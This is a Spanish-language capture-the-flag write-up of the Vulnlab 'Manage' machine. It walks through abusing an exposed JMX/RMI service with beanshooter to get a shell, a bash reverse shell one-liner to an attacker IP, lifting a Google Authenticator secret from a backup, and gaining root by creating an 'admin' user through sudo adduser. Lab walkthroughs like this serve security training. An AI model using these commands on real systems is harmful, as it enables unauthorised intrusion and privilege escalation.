Search
Close this search box.

Manage – Writeup (Vulnlab)

manage

Table of Contents

 

NMAP

Comienzo con el escaneo habitual de puertos y servicios, obteniendo lo siguiente:

Bash
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
2222/tcp  open  java-rmi   syn-ack ttl 63 Java RMI
8080/tcp  open  http       syn-ack ttl 63 Apache Tomcat 10.1.19

 

FOOTHOLD

Revisando la salida del NMAP vemos que hay un HTTP corriendo. Al parecer este puerto http (8080)
solamente encontramos un Apache Tomcat por default. Nada interesante de momento.

 

Si profundizo un poco con NMAP sobre este puerto, obtengo el siguiente resultado:

Este servicio es un Java RMI (Remote Method Invocation) ejecutándose en el puerto 2222, que permite a
los objetos Java comunicarse y ejecutar métodos de manera remota.

 

JMX facilita la gestión y supervisión de aplicaciones y recursos de Java. Permite el acceso y la
manipulación de objetos gestionados llamados MBeans (Managed Beans), que exponen propiedades y métodos para su administración. JMX es utilizado para monitorear, configurar y
gestionar aplicaciones tanto localmente como de manera remota.

 

Investigando el modo en el que podria abusar de este servicio, doy con una tool llamada Beanshooter, la
cual es una herramienta de enumeración y ataque para JMX, ayuda a identificar vulnerabilidades
comunes en los endpoints JMX. El repositorio lo pueden encontrar en el siguiente link: https://github.com/qtc-de/beanshooter. Utilizo la siguiente version: beanshooter-4.1.0-jar-with-dependencies.jar, y realizo un escaneo de enumeración frente al Target:

Bash
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.90.221 2222

 

 

 

Algo interesante de esta tool es que nos permite directamente generar una shell interactiva. Con los siguientes dos comandos obtengo una:

Bash
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.90.221 2222 tonka
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.90.221 2222

 

USER FLAG

Obtengo la shell como el usuario tomcat:

En el path /opt/tomcat cateo el user.txt y saco flag.

Revisando los usuarios del sistema vemos los siguientes:

 

Tratando de reutilizar credenciales me doy cuenta que la shell no es estable y al hacer un comando como
su useradmin , se queda freezada. Tenemos dos opciones podríamos generar una revshell con algún C2
favorito o rápidamente un bash-revshell. Con un netcat a la escucha del puerto 9000 me doy una revshell
desde el target:

Bash
bash -c 'bash -i >& /dev/tcp/10.8.0.147/9000 0>&1'

Obtengo revshell y procedo a intentar reutilizar las credenciales que obtuvimos al principio, parecen ser correctas las claves de ‘admin‘ para el usuario: useradmin, sin embargo hay un OTP sobre su usuario el cual requiere de un código de verificación que hasta el momento no dispongo.

 

Escalando a useradmin

Después de varias búsquedas me enfoco en archivos pertenecientes a useradmin y destaco dos files
interesantes:

Bash
find /home -user useradmin -ls 2>/dev/null

 

No podemos leer el primer archivo .google_authenticator, sin embargo si podemos ver el contenido del
segundo. Lo copio hacia /tmp y trato de descomprimirlo.

Bash
cp backup.tar.gz /tmp
cd /tmp
tar xvzf backup.tar.gz

 

Recibo una serie de errores, sin embargo el archivo .google_authenticator se descomprime:

 

 

Al catearlo vemos que ya estamos en condiciones de escalar a useradmin.

 

ROOT via SUDOERS (admin group)

Ya una vez como useradmin, verificamos algunas cosas básicas y entre ellas el sudo -l:

 

Mediante sudo estamos permitidos a crear un nuevo usuario en el sistema. Se restringe a caracteres
alfanuméricos. Intente varias cosas, como crear una cuenta de system con sudo /usr/sbin/adduser test --
system
, o inyectar caracteres de ‘escape’. Todos los caminos conducían a un único lugar y era el
SUDOERS file, ubicado en /etc/sudoers. Como no tengo permiso para visualizarlo, busco una version
‘estándar’ de sistemas Linux Ubuntu. Estos lucen similar al siguiente:

 

En la linea 5 vemos que dice “los miembros de el ADMIN GROUP pueden obtener privilegios de “ROOT”,
y si verificamos en los grupos existentes del sistema no existe este grupo. Cuando se crea un nuevo
usuario en el sistema, automáticamente se crea un grupo con el mismo nombre. Por lo tanto, si
agregamos un usuario llamado ‘admin’, se creará un grupo llamado ‘admin’ y el usuario ‘admin’ se añadirá
a ese grupo automáticamente.

Bash
sudo /usr/sbin/adduser admin
Bash
Adding user `admin' ...
Adding new group `admin' (1004) ...
Adding new user `admin' (1004) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
Full Name []:Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]

 

Switcheo al usuario ‘admin’ creado y ahora podemos ver que si hago un sudo -l:

 

Solo basta con un sudo su y somos root. Cateamos la flag.txt y pwned.

Share this :

Leave a Reply

Your email address will not be published. Required fields are marked *

More!..